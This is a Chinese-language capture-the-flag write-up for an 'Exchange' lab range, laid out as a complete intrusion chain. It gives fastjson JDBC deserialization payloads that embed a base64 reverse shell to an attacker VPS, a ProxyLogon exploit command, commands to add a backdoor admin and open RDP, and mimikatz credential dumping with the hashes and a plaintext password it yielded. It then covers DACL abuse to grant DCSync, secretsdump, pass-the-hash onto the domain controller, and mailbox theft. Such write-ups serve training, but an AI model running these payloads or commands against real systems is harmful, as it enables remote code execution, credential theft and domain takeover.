内网渗透技战法-春秋云境Exchange靶场
Exchange
- 华夏ERP信息泄露
- fastjson 1.2.55+JDBC RCE
- ProxyLogon
- writeDacl写DCSync
- 一个比较低能的压缩包解密
外网
信息泄露
/jshERP-boot/user/getAllList;.ico
http://39.99.153.27:8000/user/getAllList;.ico
拿到账号密码admin/123456
之后打JDBC
需要vps上起个恶意mysql -->https://github.com/fnmsd/MySQL_Fake_Server
python需小于3.11,且为java8
修改config.json
①base64中的ip和port需要改成自己vps的ip和port
②javaBinPath为vps上java的路径
{
"config":{
"ysoserialPath":"ysoserial-all.jar",
"javaBinPath":"java",
"fileOutputDir":"./fileOutput/",
"displayFileContentOnScreen":true,
"saveToFile":true
},
"fileread":{
"win_ini":"c:\\windows\\win.ini",
"win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
"win":"c:\\windows\\",
"linux_passwd":"/etc/passwd",
"linux_hosts":"/etc/hosts",
"index_php":"index.php",
"ssrf":"https://www.baidu.com/",
"__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
},
"yso":{
"Jdk7u21":["Jdk7u21","calc"],
"CommonsCollections7":["CommonCollections7","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"]
}
}
运行python3 server.py
exp(url编码后发送)
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vps",
"portToConnectTo": 3306,
"info": {
"user": "CommonsCollections7",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
}
/user/list?search=url编码后的exp,监听2333,成功弹到shell
或者使用evil-mysql-server和ysoserial构造恶意mysql服务打jdbc
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-all.jar
url 编码后发送反弹 shell 命令
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vpsIP地址",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "vps-ip",
"portToConnectTo": 33306,
"info": {
"user": "yso_CommonsCollections6_bash -c {echo,YmFzaI....}|{base64,-d}|{bash,-i}",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
内网探测
扫内网得到:
[7.9s] [*] NetInfo 扫描结果
目标主机: 172.22.3.9
主机名: XIAORANG-EXC01
发现的网络接口:
IPv4地址:
└─ 172.22.3.9
[7.9s] [*] NetInfo 扫描结果
目标主机: 172.22.3.2
主机名: XIAORANG-WIN16
发现的网络接口:
IPv4地址:
└─ 172.22.3.2
[7.9s] [+] NetBios 172.22.3.2 DC:XIAORANG-WIN16.xiaorang.lab Windows Server 2016 Datacenter 14393
[8.0s] [+] NetBios 172.22.3.26 XIAORANG\XIAORANG-PC
[8.0s] [*] 网站标题 http://172.22.3.12 状态码:200 长度:19813 标题:lumia
[8.0s] POC加载完成: 总共387个,成功387个,失败0个
[8.0s] [+] NetBios 172.22.3.9 XIAORANG-EXC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[8.1s] [*] NetInfo 扫描结果
目标主机: 172.22.3.26
主机名: XIAORANG-PC
发现的网络接口:
IPv4地址:
└─ 172.22.3.26
[8.1s] 系统信息 172.22.3.2 [Windows Server 2016 Datacenter 14393]
[8.1s] [*] 网站标题 http://172.22.3.12:8000 状态码:302 长度:0 标题:无标题 重定向地址: http://172.22.3.12:8000/login.html
[8.1s] [*] 网站标题 http://172.22.3.12:8000/login.html 状态码:200 长度:5662 标题:Lumia ERP
[8.2s] [*] 网站标题 http://172.22.3.9:81 状态码:403 长度:1157 标题:403 - 禁止访问: 访问被拒绝。
[9.1s] [*] 网站标题 http://172.22.3.9 状态码:403 长度:0 标题:无标题
[9.6s] [*] 网站标题 https://172.22.3.9 状态码:302 长度:0 标题:无标题 重定向地址: https://172.22.3.9/owa/
[10.1s] [*] 网站标题 https://172.22.3.9/owa/ 状态码:200 长度:28237 标题:Outlook
[11.0s] [*] 网站标题 https://172.22.3.9:8172 状态码:404 长度:0 标题:无标题
整理一下
172.22.3.12 本机
172.22.3.9 XIAORANG-EXC01.xiaorang.lab
172.22.3.26 XIAORANG-PC.xiaorang.lab
172.22.3.2 XIAORANG-WIN16.xiaorang.lab 域控
172.22.3.9访问一下有Outlook是Exchange Server 2016
针对Exchange Server进行ProxyLogon 攻击
python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab
打完会弹一个system的Shell,我们添加用户并将用户添加到管理员组,密码不能太简单
net user mixian Mzc@123456 /add
net localgroup administrators mixian /add
开启rdp服务(如果未开启)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
//放行端口(3389)
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
然后rdp上去拿flag
proxychains rdesktop -u m1xian -p 1234 172.22.3.9
windows的话,win+R输入mstsc,使用windows rdp的话可以拖动上传文件
任务管理器查到其他用户Zhangtong
上传猕猴桃抓密码,注意要用管理员权限的cmd
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
// "privilege::debug"
获取 Debug 权限,这是 Mimikatz 提取凭证所需的权限。
"sekurlsa::logonpasswords"
提取所有登录会话中的凭证,包括:
明文密码
NTLM 哈希
Kerberos 票据
登录用户名和域名
得到
Authentication Id : 0 ; 9932817 (00000000:00979011)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2023/10/3 16:59:45
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* NTLM : 7aac8221895264f8eb5f64feca806053
* SHA1 : 1baa389164425a69f764c89fb49ee4009c0449fc
tspkg :
wdigest :
* Username : XIAORANG-EXC01$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XIAORANG-EXC01$
* Domain : xiaorang.lab
Authentication Id : 0 ; 266425 (00000000:000410b9)
Session : Service from 0
User Name : Zhangtong
Domain : XIAORANG
Logon Server : XIAORANG-WIN16
Logon Time : 2023/10/3 16:29:19
SID : S-1-5-21-533686307-2117412543-4200729784-1147
msv :
[00000003] Primary
* Username : Zhangtong
* Domain : XIAORANG
* NTLM : 22c7f81993e96ac83ac2f3f1903de8b4
* SHA1 : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
* DPAPI : ed14c3c4ef895b1d11b04fb4e56bb83b
tspkg :
wdigest :
* Username : Zhangtong
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : Zhangtong
* Domain : xiaorang.lab
* Password : ZhangtT9Kq6IV2
ssp :
credman
比较重要的就是EXC01机器账户的哈希4de6c4eeee1f315e1241c4a813e2b3b5和Zhangtong用户的哈希22c7f81993e96ac83ac2f3f1903de8b4。用bloodhound分析一下发现EXC01机器账户默认对域内成员具有writeDacl权限,这个权限允许身份修改指定对象ACL,所以可以给Zhangtong修改个DCSync,然后就可以抓域控哈希了。
proxychains -q bloodhound-python -d xiaorang.lab -u 'Zhangtong' --hashes 22c7f81993e96ac83ac2f3f1903de8b4:22c7f81993e96ac83ac2f3f1903de8b4 -dc XIAORANG-WIN16.xiaorang.lab -c all -ns 172.22.3.2 --zip --dns-tcp
DACL是 Windows 系统中用于定义对象(如文件、目录、注册表项、进程等)访问权限的一种机制。
抓域控哈希就是利用DCSync权限伪装成域控制器,请求其他 DC 发送凭据数据。
有writeDacl权限->写DCSync或RBCD
这里给使用计算机账户 XIAORANG-EXC01$ 和其 NTLM 哈希值进行身份验证,从而进行 DACL 修改等操作。
proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :efdb464140106a58a6c06761bac0bcab -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
抓一下哈希横向到域控
secretsdump.py远程提取域控凭证
proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
//这里必须加上-just-dc-ntlm,因为通过DACL只给了ZhangTong域控的DCSync权限
之后就能横向移动
pth哈希传递一下登录域控,拿flag4
proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2 -codec gbk
proxychains python3 psexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb
最后一个flag在邮件里,dump一下邮件内容(https://github.com/Jumbo-WJB/PTH_Exchange)
smb进172.22.3.26在C$下
proxychains impacket-smbclient -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb xiaorang.lab/administrator@172.22.3.26 -dc-ip 172.22.3.2
use C$
cd /users/lumia/desktop
get secret.zip
利用lumia的hash将outlook中的邮件下载下来
proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download
看到一个压缩包,里面是flag但有密码,翻一下邮件内容,发现密码就是电话
导出电话保存格式为.dic
或者john爆一下
zip2john secret.zip >zip.txt
john --wordlist=1.txt zip.txt

浙公网安备 33010602011771号